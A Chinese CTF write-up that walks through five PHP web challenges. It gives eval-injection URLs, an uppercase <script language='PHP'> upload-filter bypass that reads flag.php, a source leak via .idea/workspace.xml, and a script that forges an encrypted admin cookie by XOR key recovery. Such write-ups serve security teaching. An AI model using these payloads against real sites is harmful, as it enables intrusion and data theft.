题1：爆破-1，flag就在某六位变量中
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
解题：URL/?hello=GLOBALS
题2：爆破-2，flag不在变量中
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
解题：URL/?hello=file_get_contents('flag.php')
题3：爆破-3，这个真的是爆破
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
解题：md5函数对数组处理的将返回空值，URL/?value[]=e&value[]=a，利用Burpsuite进行暴破，步骤见图：
题4 ：Upload，想怎么传就怎么传，就是这么任性（tips:flag在flag.php中）
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>文件上传</title>
<link href="./bootstrap.min.css" rel="stylesheet">
</head>
<body>
<script src="./jquery.min.js"></script>
<script>
$(document).ready(function() {
$('#selectFile').on('click', function() { $('#file').trigger('click') });
$('#file').change(function() { $('#selectedFile').val($(this).val()) });
});
// references: http://kuwalab.hatenablog.jp/entry/2014/01/02/191821
</script>
<div class="container">
<div class="row">
<div class="col-lg-12">
<h1>文件上传</h1>
<p>你可以随意上传文件</p>
<form method="post" enctype="multipart/form-data" class="form">
<input type="file" name="file" id="file" style="display: none;">
<div class="input-group">
<input type="text" class="form-control" id="selectedFile" readonly>
<span class="input-group-btn" style="width:200px">
<button id="selectFile" class="btn btn-defdault" type="button" style="margin-right:5px;">选择文件</button>
<input type="submit" value="上传" class="btn btn-primary">
<span>
</div></form>
<?php
if($_SERVER["REQUEST_METHOD"] === "POST") :
?>
<?php
if (is_uploaded_file($_FILES["file"]["tmp_name"])):
$file = $_FILES['file'];
$name = $file['name'];
if (preg_match("/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
$data = file_get_contents($file['tmp_name']);
while($next = preg_replace("/<\\?/", "", $data)){
$next = preg_replace("/php/", "", $next);
if($data === $next) break;
$data = $next;
}
file_put_contents(dirname(__FILE__) . '/u/' . $name, $data);
chmod(dirname(__FILE__) . '/u/' . $name, 0644);
?>
<div>
<a href="<?php echo htmlspecialchars("u/" . $name)?>">上传成功!</a>
</div>
<?php
endif;
endif;
?>
<?php
endif;
?>
</div>
</div>
</div>
</body>
</html>
解题：对上传文件过滤了“php”及“<?”，用大写PHP及<script language="PHP">进行绕过
<script language="PHP">
$file = '../flag.'.strtolower('PHP');
echo file_get_contents($file);
</script>
题5：Code，考脑洞，你能过么？
解题：URL/index.php?jpg=hei.jpg，查看源码有<img src='data:image/gif;base64,... ... ，后面数据为文件base64后字符串，访问URL/index.php?jpg=index.php，得到的数据base64_decode，便可得到index.php源码：
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/?>
由“Created by PhpStorm”猜测该项目由PhpStorm生成，即存在自动生成 .idea 目录，可能存在源码泄露的问题，访问URL/.idea/workspace.xml，查看得知存在index.php，config.php，fl3g_ichuqiu.php三个文件，结合index.php的代码可通过URL/index.php?jpg=fl3gconfigichuqiu.php，并作base64_decode， 获得fl3g_ichuqiu.php的源码：
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
访问URL/fl3g_ichuqiu.php会生成一个名称为user的COOKIE，这个COOKIE值是‘guest’进行加密处理后得到的，将COOKIE值base64_decode得到的字符串，前4个字符为随机值$rnd，后5个字符为$newtxt（即chr(ord($txt[$i])+10)处理后的值）与$newkey （即md5($rnd.$key)处理后的值）中的5个字符异或得到的。据此可知只要把后5个字符与$newtxt进行异或就可得到$newkey的相应5个字符，因为'system'有6个字符，所以$newkey的第6个字符只能依次对0-9、a-f共16个字符进行chr(ord($txt[$i])+10)处理作为$newkey的第6个字符，与'system'进行异或并base64编码所得的值作为COOKIE的值，依次验证。以下帖上获取COOKIE的代码及使用burpsuite进行暴破的图：
<?php
$oriStr = base64_decode('bkFVMxAaWUxK'); // bkFVMxAaWUxK 是访问 fl3g_ichuqiu.php 生成的COOKIE值
$rnd = substr($oriStr, 0, 4);
$a = substr($oriStr, 4);
$b = 'guest';$ttmp = '';
for($i=0;$i<strlen($a);$i++){
$ttmp .= chr(ord($b[$i])+10) ^ $a[$i];
}$d = 'system';
$char1 = range(0, 9);
$char2 = range(a, f);
$char = array_merge($char1, $char2);
foreach ($char as $v) {
$c = $ttmp.$v;
$newStr = '';
for($i=0;$i<strlen($d);$i++){
$newStr .= $c[$i] ^ chr(ord($d[$i])+10);
}echo base64_encode($rnd.$newStr).'<br>';
}
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